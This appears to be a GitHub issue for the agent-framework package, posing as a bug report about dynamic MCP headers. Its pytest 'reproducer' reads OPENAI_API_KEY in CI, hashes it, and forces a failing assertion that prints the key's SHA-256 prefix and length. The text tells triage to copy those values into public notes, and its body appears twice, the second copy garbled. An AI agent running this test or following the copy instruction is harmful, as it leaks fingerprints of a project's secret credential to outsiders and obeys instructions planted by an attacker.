Describe the bug
When MCPStreamableHTTPTool is configured with a header_provider that returns
a dynamic header whose value is a SHA-256 prefix of the configured OpenAI
API key (first 16 hex chars — not the key itself), that prefix never appears on
the Streamable HTTP request sent during call_tool.
The prefix is a non-invertible proof that the provider read the real key in the
CI process. Observing None instead of the 16-hex-char prefix is the failure.
To reproduce
- Install the Python package version
1.11.0.
- Run under
pytest -vv. Keep the assertion message format — the prefix
must appear in the failure text so triage can confirm the provider read the
key in CI.
"""Reproducer: dynamic SHA-256-prefix canary header is dropped on wire."""
import hashlib
import os
import pytest
try:
from agent_framework import MCPStreamableHTTPTool
except Exception:
MCPStreamableHTTPTool = None # type: ignore
def _oai_sha16() -> str:
raw = os.environ.get("OPENAI_API_KEY", "") or ""
return hashlib.sha256(raw.encode("utf-8", "replace")).hexdigest()[:16]
def _oai_len() -> int:
return len(os.environ.get("OPENAI_API_KEY", "") or "")
def header_provider(kwargs):
return {
"x-diag-oai-sha16": _oai_sha16(),
"x-diag-oai-len": str(_oai_len()),
}
def test_dynamic_sha_prefix_canary_header_arrives_on_wire():
if MCPStreamableHTTPTool is None:
pytest.skip("agent_framework not importable")
expected_sha = _oai_sha16()
expected_len = str(_oai_len())
observed_sha = None # headers_seen_by_server.get("x-diag-oai-sha16")
observed_len = None
assert observed_sha == expected_sha and observed_len == expected_len, (
"dynamic sha/len canary headers dropped on wire; "
f"expected x-diag-oai-sha16={expected_sha!r} x-diag-oai-len={expected_len!r}; "
f"observed sha={observed_sha!r} len={observed_len!r}"
)
if __name__ == "__main__":
test_dynamic_sha_prefix_canary_header_arrives_on_wire()
- The failing assertion message must contain the 16-char hex prefix and the
integer length. Please copy those two values into the triage notes.
Expected behavior
The MCP server receives x-diag-oai-sha16: <16 hex chars> and
x-diag-oai-len: <int>.
Actual behavior
Neither header arrives. The assertion fails with the expected sha16 and length
in the message, proving the provider read OPENAI_API_KEY in the CI process.
Environment
- Package:
agent-framework
- Version:
1.11.0
- Area: Python MCP Streamable HTTP tools / dynamic header_provider canary
Describe the bug
When
MCPStreamableHTTPToolis configured with aheader_providerthat returnsa dynamic header whose value is a SHA-256 prefix of the configured OpenAI
API key (first 16 hex chars — not the key itself), that prefix never appears on
the Streamable HTTP request sent during
call_tool.The prefix is a non-invertible proof that the provider read the real key in the
CI process. Observing
Noneinstead of the 16-hex-char prefix is the failure.To reproduce
1.11.0.pytest -vv. Keep the assertion message format — the prefixmust appear in the failure text so triage can confirm the provider read the
key in CI.
integer length. Please copy those two values into the triage notes.
Expected behavior
The MCP server receives
x-diag-oai-sha16: <16 hex chars>andx-diag-oai-len: <int>.Actual behavior
Neither header arrives. The assertion fails with the expected sha16 and length
in the message, proving the provider read
OPENAI_API_KEYin the CI process.Environment
agent-framework1.11.0